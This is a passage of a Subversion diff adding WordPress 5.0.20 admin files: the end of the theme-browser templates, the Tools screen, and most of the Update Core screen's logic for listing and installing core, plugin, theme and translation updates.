+
+	<span class="more-details" id="{{ data.id }}-action"><?php _e( 'Theme Details' ); ?></span>
+	<div class="theme-author">
+		<?php
+		/* translators: %s: Theme author name */
+		printf( __( 'By %s' ), '{{{ data.author }}}' );
+		?>
+	</div>
+
+	<div class="theme-id-container">
+		<# if ( data.active ) { #>
+			<h2 class="theme-name" id="{{ data.id }}-name">
+				<?php
+				/* translators: %s: Theme name */
+				printf( __( '<span>Active:</span> %s' ), '{{{ data.name }}}' );
+				?>
+			</h2>
+		<# } else { #>
+			<h2 class="theme-name" id="{{ data.id }}-name">{{{ data.name }}}</h2>
+		<# } #>
+
+		<div class="theme-actions">
+			<# if ( data.active ) { #>
+				<# if ( data.actions.customize ) { #>
+					<a class="button button-primary customize load-customize hide-if-no-customize" href="{{{ data.actions.customize }}}"><?php _e( 'Customize' ); ?></a>
+				<# } #>
+			<# } else { #>
+				<?php
+				/* translators: %s: Theme name */
+				$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
+				?>
+				<a class="button activate" href="{{{ data.actions.activate }}}" aria-label="<?php echo $aria_label; ?>"><?php _e( 'Activate' ); ?></a>
+				<a class="button button-primary load-customize hide-if-no-customize" href="{{{ data.actions.customize }}}"><?php _e( 'Live Preview' ); ?></a>
+			<# } #>
+		</div>
+	</div>
+</script>
+
+<script id="tmpl-theme-single" type="text/template">
+	<div class="theme-backdrop"></div>
+	<div class="theme-wrap wp-clearfix" role="document">
+		<div class="theme-header">
+			<button class="left dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Show previous theme' ); ?></span></button>
+			<button class="right dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Show next theme' ); ?></span></button>
+			<button class="close dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Close details dialog' ); ?></span></button>
+		</div>
+		<div class="theme-about wp-clearfix">
+			<div class="theme-screenshots">
+			<# if ( data.screenshot[0] ) { #>
+				<div class="screenshot"><img src="{{ data.screenshot[0] }}" alt="" /></div>
+			<# } else { #>
+				<div class="screenshot blank"></div>
+			<# } #>
+			</div>
+
+			<div class="theme-info">
+				<# if ( data.active ) { #>
+					<span class="current-label"><?php _e( 'Current Theme' ); ?></span>
+				<# } #>
+				<h2 class="theme-name">{{{ data.name }}}<span class="theme-version"><?php printf( __( 'Version: %s' ), '{{ data.version }}' ); ?></span></h2>
+				<p class="theme-author"><?php printf( __( 'By %s' ), '{{{ data.authorAndUri }}}' ); ?></p>
+
+				<# if ( data.hasUpdate ) { #>
+				<div class="notice notice-warning notice-alt notice-large">
+					<h3 class="notice-title"><?php _e( 'Update Available' ); ?></h3>
+					{{{ data.update }}}
+				</div>
+				<# } #>
+				<p class="theme-description">{{{ data.description }}}</p>
+
+				<# if ( data.parent ) { #>
+					<p class="parent-theme"><?php printf( __( 'This is a child theme of %s.' ), '<strong>{{{ data.parent }}}</strong>' ); ?></p>
+				<# } #>
+
+				<# if ( data.tags ) { #>
+					<p class="theme-tags"><span><?php _e( 'Tags:' ); ?></span> {{{ data.tags }}}</p>
+				<# } #>
+			</div>
+		</div>
+
+		<div class="theme-actions">
+			<div class="active-theme">
+				<a href="{{{ data.actions.customize }}}" class="button button-primary customize load-customize hide-if-no-customize"><?php _e( 'Customize' ); ?></a>
+				<?php echo implode( ' ', $current_theme_actions ); ?>
+			</div>
+			<div class="inactive-theme">
+				<?php
+				/* translators: %s: Theme name */
+				$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
+				?>
+				<# if ( data.actions.activate ) { #>
+					<a href="{{{ data.actions.activate }}}" class="button activate" aria-label="<?php echo $aria_label; ?>"><?php _e( 'Activate' ); ?></a>
+				<# } #>
+				<a href="{{{ data.actions.customize }}}" class="button button-primary load-customize hide-if-no-customize"><?php _e( 'Live Preview' ); ?></a>
+			</div>
+
+			<# if ( ! data.active && data.actions['delete'] ) { #>
+				<a href="{{{ data.actions['delete'] }}}" class="button delete-theme"><?php _e( 'Delete' ); ?></a>
+			<# } #>
+		</div>
+	</div>
+</script>
+
+<?php
+wp_print_request_filesystem_credentials_modal();
+wp_print_admin_notice_templates();
+wp_print_update_row_templates();
+
+wp_localize_script( 'updates', '_wpUpdatesItemCounts', array(
+	'totals'  => wp_get_update_data(),
+) );
+
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/tools.php
===================================================================
--- /tags/5.0.20/src/wp-admin/tools.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/tools.php	(revision 56912)
@@ -0,0 +1,76 @@
+<?php
+/**
+ * Tools Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$is_privacy_guide = ( isset( $_GET['wp-privacy-policy-guide'] ) && current_user_can( 'manage_privacy_options' ) );
+
+if ( $is_privacy_guide ) {
+	$title = __( 'Privacy Policy Guide' );
+
+	// "Borrow" xfn.js for now so we don't have to create new files.
+	wp_enqueue_script( 'xfn' );
+
+} else {
+
+	$title = __('Tools');
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'converter',
+		'title'   => __('Categories and Tags Converter'),
+		'content' => '<p>' . __('Categories have hierarchy, meaning that you can nest sub-categories. Tags do not have hierarchy and cannot be nested. Sometimes people start out using one on their posts, then later realize that the other would work better for their content.' ) . '</p>' .
+		'<p>' . __( 'The Categories and Tags Converter link on this screen will take you to the Import screen, where that Converter is one of the plugins you can install. Once that plugin is installed, the Activate Plugin &amp; Run Importer link will take you to a screen where you can choose to convert tags into categories or vice versa.' ) . '</p>',
+	) );
+
+	get_current_screen()->set_help_sidebar(
+		'<p><strong>' . __('For more information:') . '</strong></p>' .
+		'<p>' . __('<a href="https://codex.wordpress.org/Tools_Screen">Documentation on Tools</a>') . '</p>' .
+		'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+	);
+}
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+<?php
+
+if ( $is_privacy_guide ) {
+	?>
+	<div class="wp-privacy-policy-guide">
+		<?php WP_Privacy_Policy_Content::privacy_policy_guide(); ?>
+	</div>
+	<?php
+
+} else {
+
+	if ( current_user_can( 'import' ) ) :
+	$cats = get_taxonomy('category');
+	$tags = get_taxonomy('post_tag');
+	if ( current_user_can($cats->cap->manage_terms) || current_user_can($tags->cap->manage_terms) ) : ?>
+	<div class="card">
+		<h2 class="title"><?php _e( 'Categories and Tags Converter' ) ?></h2>
+		<p><?php printf( __('If you want to convert your categories to tags (or vice versa), use the <a href="%s">Categories and Tags Converter</a> available from the Import screen.'), 'import.php' ); ?></p>
+	</div>
+	<?php
+	endif;
+	endif;
+
+	/**
+	 * Fires at the end of the Tools Administration screen.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'tool_box' );
+}
+?>
+</div>
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/update-core.php
===================================================================
--- /tags/5.0.20/src/wp-admin/update-core.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/update-core.php	(revision 56912)
@@ -0,0 +1,779 @@
+<?php
+/**
+ * Update Core administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_enqueue_style( 'plugin-install' );
+wp_enqueue_script( 'plugin-install' );
+wp_enqueue_script( 'updates' );
+add_thickbox();
+
+if ( is_multisite() && ! is_network_admin() ) {
+	wp_redirect( network_admin_url( 'update-core.php' ) );
+	exit();
+}
+
+if ( ! current_user_can( 'update_core' ) && ! current_user_can( 'update_themes' ) && ! current_user_can( 'update_plugins' ) && ! current_user_can( 'update_languages' ) )
+	wp_die( __( 'Sorry, you are not allowed to update this site.' ) );
+
+/**
+ *
+ * @global string $wp_local_package
+ * @global wpdb   $wpdb
+ *
+ * @staticvar bool $first_pass
+ *
+ * @param object $update
+ */
+function list_core_update( $update ) {
+ 	global $wp_local_package, $wpdb;
+  	static $first_pass = true;
+
+	$wp_version = get_bloginfo( 'version' );
+
+ 	if ( 'en_US' == $update->locale && 'en_US' == get_locale() )
+ 		$version_string = $update->current;
+ 	// If the only available update is a partial builds, it doesn't need a language-specific version string.
+ 	elseif ( 'en_US' == $update->locale && $update->packages->partial && $wp_version == $update->partial_version && ( $updates = get_core_updates() ) && 1 == count( $updates ) )
+ 		$version_string = $update->current;
+ 	else
+ 		$version_string = sprintf( "%s&ndash;<strong>%s</strong>", $update->current, $update->locale );
+
+	$current = false;
+	if ( !isset($update->response) || 'latest' == $update->response )
+		$current = true;
+	$submit = __('Update Now');
+	$form_action = 'update-core.php?action=do-core-upgrade';
+	$php_version    = phpversion();
+	$mysql_version  = $wpdb->db_version();
+	$show_buttons = true;
+	if ( 'development' == $update->response ) {
+		$message = __('You are using a development version of WordPress. You can update to the latest nightly build automatically:');
+	} else {
+		if ( $current ) {
+			$message = sprintf( __( 'If you need to re-install version %s, you can do so here:' ), $version_string );
+			$submit = __('Re-install Now');
+			$form_action = 'update-core.php?action=do-core-reinstall';
+		} else {
+			$php_compat     = version_compare( $php_version, $update->php_version, '>=' );
+			if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) )
+				$mysql_compat = true;
+			else
+				$mysql_compat = version_compare( $mysql_version, $update->mysql_version, '>=' );
+
+			if ( !$mysql_compat && !$php_compat )
+				/* translators: 1: WordPress version number, 2: Minimum required PHP version number, 3: Minimum required MySQL version number, 4: Current PHP version number, 5: Current MySQL version number */
+				$message = sprintf( __('You cannot update because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.'), $update->current, $update->php_version, $update->mysql_version, $php_version, $mysql_version );
+			elseif ( !$php_compat )
+				/* translators: 1: WordPress version number, 2: Minimum required PHP version number, 3: Current PHP version number */
+				$message = sprintf( __('You cannot update because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher. You are running version %3$s.'), $update->current, $update->php_version, $php_version );
+			elseif ( !$mysql_compat )
+				/* translators: 1: WordPress version number, 2: Minimum required MySQL version number, 3: Current MySQL version number */
+				$message = sprintf( __('You cannot update because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires MySQL version %2$s or higher. You are running version %3$s.'), $update->current, $update->mysql_version, $mysql_version );
+			else
+				/* translators: 1: WordPress version number, 2: WordPress version number including locale if necessary */
+				$message = 	sprintf(__('You can update to <a href="https://codex.wordpress.org/Version_%1$s">WordPress %2$s</a> automatically:'), $update->current, $version_string);
+			if ( !$mysql_compat || !$php_compat )
+				$show_buttons = false;
+		}
+	}
+
+	echo '<p>';
+	echo $message;
+	echo '</p>';
+	echo '<form method="post" action="' . $form_action . '" name="upgrade" class="upgrade">';
+	wp_nonce_field('upgrade-core');
+	echo '<p>';
+	echo '<input name="version" value="'. esc_attr($update->current) .'" type="hidden"/>';
+	echo '<input name="locale" value="'. esc_attr($update->locale) .'" type="hidden"/>';
+	if ( $show_buttons ) {
+		if ( $first_pass ) {
+			submit_button( $submit, $current ? '' : 'primary regular', 'upgrade', false );
+			$first_pass = false;
+		} else {
+			submit_button( $submit, '', 'upgrade', false );
+		}
+	}
+	if ( 'en_US' != $update->locale )
+		if ( !isset( $update->dismissed ) || !$update->dismissed )
+			submit_button( __( 'Hide this update' ), '', 'dismiss', false );
+		else
+			submit_button( __( 'Bring back this update' ), '', 'undismiss', false );
+	echo '</p>';
+	if ( 'en_US' != $update->locale && ( !isset($wp_local_package) || $wp_local_package != $update->locale ) )
+	    echo '<p class="hint">'.__('This localized version contains both the translation and various other localization fixes. You can skip upgrading if you want to keep your current translation.').'</p>';
+	// Partial builds don't need language-specific warnings.
+	elseif ( 'en_US' == $update->locale && get_locale() != 'en_US' && ( ! $update->packages->partial && $wp_version == $update->partial_version ) ) {
+	    echo '<p class="hint">'.sprintf( __('You are about to install WordPress %s <strong>in English (US).</strong> There is a chance this update will break your translation. You may prefer to wait for the localized version to be released.'), $update->response != 'development' ? $update->current : '' ).'</p>';
+	}
+	echo '</form>';
+
+}
+
+/**
+ * @since 2.7.0
+ */
+function dismissed_updates() {
+	$dismissed = get_core_updates( array( 'dismissed' => true, 'available' => false ) );
+	if ( $dismissed ) {
+
+		$show_text = esc_js(__('Show hidden updates'));
+		$hide_text = esc_js(__('Hide hidden updates'));
+	?>
+	<script type="text/javascript">
+
+		jQuery(function($) {
+			$('dismissed-updates').show();
+			$('#show-dismissed').toggle(function(){$(this).text('<?php echo $hide_text; ?>');}, function() {$(this).text('<?php echo $show_text; ?>')});
+			$('#show-dismissed').click(function() { $('#dismissed-updates').toggle('slow');});
+		});
+	</script>
+	<?php
+		echo '<p class="hide-if-no-js"><a id="show-dismissed" href="#">'.__('Show hidden updates').'</a></p>';
+		echo '<ul id="dismissed-updates" class="core-updates dismissed">';
+		foreach ( (array) $dismissed as $update) {
+			echo '<li>';
+			list_core_update( $update );
+			echo '</li>';
+		}
+		echo '</ul>';
+	}
+}
+
+/**
+ * Display upgrade WordPress for downloading latest or upgrading automatically form.
+ *
+ * @since 2.7.0
+ *
+ * @global string $required_php_version
+ * @global string $required_mysql_version
+ */
+function core_upgrade_preamble() {
+	global $required_php_version, $required_mysql_version;
+
+	$wp_version = get_bloginfo( 'version' );
+	$updates = get_core_updates();
+
+	if ( !isset($updates[0]->response) || 'latest' == $updates[0]->response ) {
+		echo '<h2>';
+		_e('You have the latest version of WordPress.');
+
+		if ( wp_http_supports( array( 'ssl' ) ) ) {
+			require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+			$upgrader = new WP_Automatic_Updater;
+			$future_minor_update = (object) array(
+				'current'       => $wp_version . '.1.next.minor',
+				'version'       => $wp_version . '.1.next.minor',
+				'php_version'   => $required_php_version,
+				'mysql_version' => $required_mysql_version,
+			);
+			$should_auto_update = $upgrader->should_update( 'core', $future_minor_update, ABSPATH );
+			if ( $should_auto_update )
+				echo ' ' . __( 'Future security updates will be applied automatically.' );
+		}
+		echo '</h2>';
+	} else {
+		echo '<div class="notice notice-warning"><p>';
+		_e('<strong>Important:</strong> before updating, please <a href="https://codex.wordpress.org/WordPress_Backups">back up your database and files</a>. For help with updates, visit the <a href="https://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.');
+		echo '</p></div>';
+
+		echo '<h2 class="response">';
+		_e( 'An updated version of WordPress is available.' );
+		echo '</h2>';
+	}
+
+	if ( isset( $updates[0] ) && $updates[0]->response == 'development' ) {
+		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+		$upgrader = new WP_Automatic_Updater;
+		if ( wp_http_supports( 'ssl' ) && $upgrader->should_update( 'core', $updates[0], ABSPATH ) ) {
+			echo '<div class="updated inline"><p>';
+			echo '<strong>' . __( 'BETA TESTERS:' ) . '</strong> ' . __( 'This site is set up to install updates of future beta versions automatically.' );
+			echo '</p></div>';
+		}
+	}
+
+	echo '<ul class="core-updates">';
+	foreach ( (array) $updates as $update ) {
+		echo '<li>';
+		list_core_update( $update );
+		echo '</li>';
+	}
+	echo '</ul>';
+	// Don't show the maintenance mode notice when we are only showing a single re-install option.
+	if ( $updates && ( count( $updates ) > 1 || $updates[0]->response != 'latest' ) ) {
+		echo '<p>' . __( 'While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.' ) . '</p>';
+	} elseif ( ! $updates ) {
+		list( $normalized_version ) = explode( '-', $wp_version );
+		echo '<p>' . sprintf( __( '<a href="%s">Learn more about WordPress %s</a>.' ), esc_url( self_admin_url( 'about.php' ) ), $normalized_version ) . '</p>';
+	}
+	dismissed_updates();
+}
+
+function list_plugin_updates() {
+	$wp_version = get_bloginfo( 'version' );
+	$cur_wp_version = preg_replace( '/-.*$/', '', $wp_version );
+
+	require_once(ABSPATH . 'wp-admin/includes/plugin-install.php');
+	$plugins = get_plugin_updates();
+	if ( empty( $plugins ) ) {
+		echo '<h2>' . __( 'Plugins' ) . '</h2>';
+		echo '<p>' . __( 'Your plugins are all up to date.' ) . '</p>';
+		return;
+	}
+	$form_action = 'update-core.php?action=do-plugin-upgrade';
+
+	$core_updates = get_core_updates();
+	if ( !isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare( $core_updates[0]->current, $cur_wp_version, '=') )
+		$core_update_version = false;
+	else
+		$core_update_version = $core_updates[0]->current;
+	?>
+<h2><?php _e( 'Plugins' ); ?></h2>
+<p><?php _e( 'The following plugins have new versions available. Check the ones you want to update and then click &#8220;Update Plugins&#8221;.' ); ?></p>
+<form method="post" action="<?php echo esc_url( $form_action ); ?>" name="upgrade-plugins" class="upgrade">
+<?php wp_nonce_field('upgrade-core'); ?>
+<p><input id="upgrade-plugins" class="button" type="submit" value="<?php esc_attr_e('Update Plugins'); ?>" name="upgrade" /></p>
+<table class="widefat updates-table" id="update-plugins-table">
+	<thead>
+	<tr>
+		<td class="manage-column check-column"><input type="checkbox" id="plugins-select-all" /></td>
+		<td class="manage-column"><label for="plugins-select-all"><?php _e( 'Select All' ); ?></label></td>
+	</tr>
+	</thead>
+
+	<tbody class="plugins">
+<?php
+	foreach ( (array) $plugins as $plugin_file => $plugin_data ) {
+		$plugin_data = (object) _get_plugin_data_markup_translate( $plugin_file, (array) $plugin_data, false, true );
+
+		$icon = '<span class="dashicons dashicons-admin-plugins"></span>';
+		$preferred_icons = array( 'svg', '1x', '2x', 'default' );
+		foreach ( $preferred_icons as $preferred_icon ) {
+			if ( ! empty( $plugin_data->update->icons[ $preferred_icon ] ) ) {
+				$icon = '<img src="' . esc_url( $plugin_data->update->icons[ $preferred_icon ] ) . '" alt="" />';
+				break;
+			}			
+		}
+
+		// Get plugin compat for running version of WordPress.
+		if ( isset($plugin_data->update->tested) && version_compare($plugin_data->update->tested, $cur_wp_version, '>=') ) {
+			$compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version);
+		} elseif ( isset($plugin_data->update->compatibility->{$cur_wp_version}) ) {
+			$compat = $plugin_data->update->compatibility->{$cur_wp_version};
+			$compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat->percent, $compat->votes, $compat->total_votes);
+		} else {
+			$compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version);
+		}
+		// Get plugin compat for updated version of WordPress.
+		if ( $core_update_version ) {
+			if ( isset( $plugin_data->update->tested ) && version_compare( $plugin_data->update->tested, $core_update_version, '>=' ) ) {
+				$compat .= '<br />' . sprintf( __( 'Compatibility with WordPress %1$s: 100%% (according to its author)' ), $core_update_version );
+			} elseif ( isset( $plugin_data->update->compatibility->{$core_update_version} ) ) {
+				$update_compat = $plugin_data->update->compatibility->{$core_update_version};
+				$compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat->percent, $update_compat->votes, $update_compat->total_votes);
+			} else {
+				$compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version);
+			}
+		}
+		// Get the upgrade notice for the new plugin version.
+		if ( isset($plugin_data->update->upgrade_notice) ) {
+			$upgrade_notice = '<br />' . strip_tags($plugin_data->update->upgrade_notice);
+		} else {
+			$upgrade_notice = '';
+		}
+
+		$details_url = self_admin_url('plugin-install.php?tab=plugin-information&plugin=' . $plugin_data->update->slug . '&section=changelog&TB_iframe=true&width=640&height=662');
+		$details = sprintf(
+			'<a href="%1$s" class="thickbox open-plugin-details-modal" aria-label="%2$s">%3$s</a>',
+			esc_url( $details_url ),
+			/* translators: 1: plugin name, 2: version number */
+			esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_data->Name, $plugin_data->update->new_version ) ),
+			/* translators: %s: plugin version */
+			sprintf( __( 'View version %s details.' ), $plugin_data->update->new_version )
+		);
+
+		$checkbox_id = "checkbox_" . md5( $plugin_data->Name );
+		?>
+		<tr>
+			<td class="check-column">
+				<input type="checkbox" name="checked[]" id="<?php echo $checkbox_id; ?>" value="<?php echo esc_attr( $plugin_file ); ?>" />
+				<label for="<?php echo $checkbox_id; ?>" class="screen-reader-text"><?php
+					/* translators: %s: plugin name */
+					printf( __( 'Select %s' ),
+						$plugin_data->Name
+					);
+				?></label>
+			</td>
+			<td class="plugin-title"><p>
+				<?php echo $icon; ?>
+				<strong><?php echo $plugin_data->Name; ?></strong>
+				<?php
+					/* translators: 1: plugin version, 2: new version */
+					printf( __( 'You have version %1$s installed. Update to %2$s.' ),
+						$plugin_data->Version,
+						$plugin_data->update->new_version
+					);
+					echo ' ' . $details . $compat . $upgrade_notice;
+				?>
+			</p></td>
+		</tr>
+		<?php
+	}
+?>
+	</tbody>
+
+	<tfoot>
+	<tr>
+		<td class="manage-column check-column"><input type="checkbox" id="plugins-select-all-2" /></td>
+		<td class="manage-column"><label for="plugins-select-all-2"><?php _e( 'Select All' ); ?></label></td>
+	</tr>
+	</tfoot>
+</table>
+<p><input id="upgrade-plugins-2" class="button" type="submit" value="<?php esc_attr_e('Update Plugins'); ?>" name="upgrade" /></p>
+</form>
+<?php
+}
+
+/**
+ * @since 2.9.0
+ */
+function list_theme_updates() {
+	$themes = get_theme_updates();
+	if ( empty( $themes ) ) {
+		echo '<h2>' . __( 'Themes' ) . '</h2>';
+		echo '<p>' . __( 'Your themes are all up to date.' ) . '</p>';
+		return;
+	}
+
+	$form_action = 'update-core.php?action=do-theme-upgrade';
+?>
+<h2><?php _e( 'Themes' ); ?></h2>
+<p><?php _e( 'The following themes have new versions available. Check the ones you want to update and then click &#8220;Update Themes&#8221;.' ); ?></p>
+<p><?php printf( __( '<strong>Please Note:</strong> Any customizations you have made to theme files will be lost. Please consider using <a href="%s">child themes</a> for modifications.' ), __( 'https://codex.wordpress.org/Child_Themes' ) ); ?></p>
+<form method="post" action="<?php echo esc_url( $form_action ); ?>" name="upgrade-themes" class="upgrade">
+<?php wp_nonce_field('upgrade-core'); ?>
+<p><input id="upgrade-themes" class="button" type="submit" value="<?php esc_attr_e('Update Themes'); ?>" name="upgrade" /></p>
+<table class="widefat updates-table" id="update-themes-table">
+	<thead>
+	<tr>
+		<td class="manage-column check-column"><input type="checkbox" id="themes-select-all" /></td>
+		<td class="manage-column"><label for="themes-select-all"><?php _e( 'Select All' ); ?></label></td>
+	</tr>
+	</thead>
+
+	<tbody class="plugins">
+<?php
+	foreach ( $themes as $stylesheet => $theme ) {
+		$checkbox_id = 'checkbox_' . md5( $theme->get( 'Name' ) );
+		?>
+		<tr>
+			<td class="check-column">
+				<input type="checkbox" name="checked[]" id="<?php echo $checkbox_id; ?>" value="<?php echo esc_attr( $stylesheet ); ?>" />
+				<label for="<?php echo $checkbox_id; ?>" class="screen-reader-text"><?php
+					/* translators: %s: theme name */
+					printf( __( 'Select %s' ),
+						$theme->display( 'Name' )
+					);
+				?></label>
+			</td>
+			<td class="plugin-title"><p>
+				<img src="<?php echo esc_url( $theme->get_screenshot() ); ?>" width="85" height="64" class="updates-table-screenshot" alt="" />
+				<strong><?php echo $theme->display( 'Name' ); ?></strong>
+				<?php
+					/* translators: 1: theme version, 2: new version */
+					printf( __( 'You have version %1$s installed. Update to %2$s.' ),
+						$theme->display( 'Version' ),
+						$theme->update['new_version']
+					);
+				?>
+			</p></td>
+		</tr>
+		<?php
+	}
+?>
+	</tbody>
+
+	<tfoot>
+	<tr>
+		<td class="manage-column check-column"><input type="checkbox" id="themes-select-all-2" /></td>
+		<td class="manage-column"><label for="themes-select-all-2"><?php _e( 'Select All' ); ?></label></td>
+	</tr>
+	</tfoot>
+</table>
+<p><input id="upgrade-themes-2" class="button" type="submit" value="<?php esc_attr_e('Update Themes'); ?>" name="upgrade" /></p>
+</form>
+<?php
+}
+
+/**
+ * @since 3.7.0
+ */
+function list_translation_updates() {
+	$updates = wp_get_translation_updates();
+	if ( ! $updates ) {
+		if ( 'en_US' != get_locale() ) {
+			echo '<h2>' . __( 'Translations' ) . '</h2>';
+			echo '<p>' . __( 'Your translations are all up to date.' ) . '</p>';
+		}
+		return;
+	}
+
+	$form_action = 'update-core.php?action=do-translation-upgrade';
+	?>
+	<h2><?php _e( 'Translations' ); ?></h2>
+	<form method="post" action="<?php echo esc_url( $form_action ); ?>" name="upgrade-translations" class="upgrade">
+		<p><?php _e( 'New translations are available.' ); ?></p>
+		<?php wp_nonce_field( 'upgrade-translations' ); ?>
+		<p><input class="button" type="submit" value="<?php esc_attr_e( 'Update Translations' ); ?>" name="upgrade" /></p>
+	</form>
+	<?php
+}
+
+/**
+ * Upgrade WordPress core display.
+ *
+ * @since 2.7.0
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ *
+ * @param bool $reinstall
+ */
+function do_core_upgrade( $reinstall = false ) {
+	global $wp_filesystem;
+
+	include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+
+	if ( $reinstall )
+		$url = 'update-core.php?action=do-core-reinstall';
+	else
+		$url = 'update-core.php?action=do-core-upgrade';
+	$url = wp_nonce_url($url, 'upgrade-core');
+
+	$version = isset( $_POST['version'] )? $_POST['version'] : false;
+	$locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US';
+	$update = find_core_update( $version, $locale );
+	if ( !$update )
+		return;
+
+	// Allow relaxed file ownership writes for User-initiated upgrades when the API specifies
+	// that it's safe to do so. This only happens when there are no new files to create.
+	$allow_relaxed_file_ownership = ! $reinstall && isset( $update->new_files ) && ! $update->new_files;
+
+?>
+	<div class="wrap">
+	<h1><?php _e( 'Update WordPress' ); ?></h1>
+<?php
+
+	if ( false === ( $credentials = request_filesystem_credentials( $url, '', false, ABSPATH, array( 'version', 'locale' ), $allow_relaxed_file_ownership ) ) ) {
+		echo '</div>';
+		return;
+	}
+
+	if ( ! WP_Filesystem( $credentials, ABSPATH, $allow_relaxed_file_ownership ) ) {
+		// Failed to connect, Error and request again
+		request_filesystem_credentials( $url, '', true, ABSPATH, array( 'version', 'locale' ), $allow_relaxed_file_ownership );
+		echo '</div>';
+		return;
+	}
+
+	if ( $wp_filesystem->errors->get_error_code() ) {
+		foreach ( $wp_filesystem->errors->get_error_messages() as $message )
+			show_message($message);
+		echo '</div>';
+		return;
+	}
+
+	if ( $reinstall )
+		$update->response = 'reinstall';
+
+	add_filter( 'update_feedback', 'show_message' );
+
+	$upgrader = new Core_Upgrader();
+	$result = $upgrader->upgrade( $update, array(
+		'allow_relaxed_file_ownership' => $allow_relaxed_file_ownership
+	) );
+
+	if ( is_wp_error($result) ) {
+		show_message($result);
+		if ( 'up_to_date' != $result->get_error_code() && 'locked' != $result->get_error_code() )
+			show_message( __('Installation Failed') );
+		echo '</div>';
+		return;
+	}
+
+	show_message( __('WordPress updated successfully') );
+	show_message( '<span class="hide-if-no-js">' . sprintf( __( 'Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href="%2$s">here</a>.' ), $result, esc_url( self_admin_url( 'about.php?updated' ) ) ) . '</span>' );
+	show_message( '<span class="hide-if-js">' . sprintf( __( 'Welcome to WordPress %1$s. <a href="%2$s">Learn more</a>.' ), $result, esc_url( self_admin_url( 'about.php?updated' ) ) ) . '</span>' );
+	?>
+	</div>
+	<script type="text/javascript">
+	window.location = '<?php echo self_admin_url( 'about.php?updated' ); ?>';
+	</script>
+	<?php
+}
+
+/**
+ * @since 2.7.0
+ */
+function do_dismiss_core_update() {
+	$version = isset( $_POST['version'] )? $_POST['version'] : false;
+	$locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US';
+	$update = find_core_update( $version, $locale );
+	if ( !$update )
+		return;
+	dismiss_core_update( $update );
+	wp_redirect( wp_nonce_url('update-core.php?action=upgrade-core', 'upgrade-core') );
+	exit;
+}
+
+/**
+ * @since 2.7.0
+ */
+function do_undismiss_core_update() {
+	$version = isset( $_POST['version'] )? $_POST['version'] : false;
+	$locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US';
+	$update = find_core_update( $version, $locale );
+	if ( !$update )
+		return;
+	undismiss_core_update( $version, $locale );
+	wp_redirect( wp_nonce_url('update-core.php?action=upgrade-core', 'upgrade-core') );
+	exit;
+}
+
+$action = isset($_GET['action']) ? $_GET['action'] : 'upgrade-core';
+
+$upgrade_error = false;
+if ( ( 'do-theme-upgrade' == $action || ( 'do-plugin-upgrade' == $action && ! isset( $_GET['plugins'] ) ) )
+	&& ! isset( $_POST['checked'] ) ) {
+	$upgrade_error = $action == 'do-theme-upgrade' ? 'themes' : 'plugins';
+	$action = 'upgrade-core';
+}
+
+$title = __('WordPress Updates');
+$parent_file = 'index.php';
+
+$updates_overview  = '<p>' . __( 'On this screen, you can update to the latest version of WordPress, as well as update your themes, plugins, and translations from the WordPress.org repositories.' ) . '</p>';
+$updates_overview .= '<p>' . __( 'If an update is available, you&#8127;ll see a notification appear in the Toolbar and navigation menu.' ) . ' ' . __( 'Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.' ) . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __( 'Overview' ),
+	'content' => $updates_overview
+) );
+
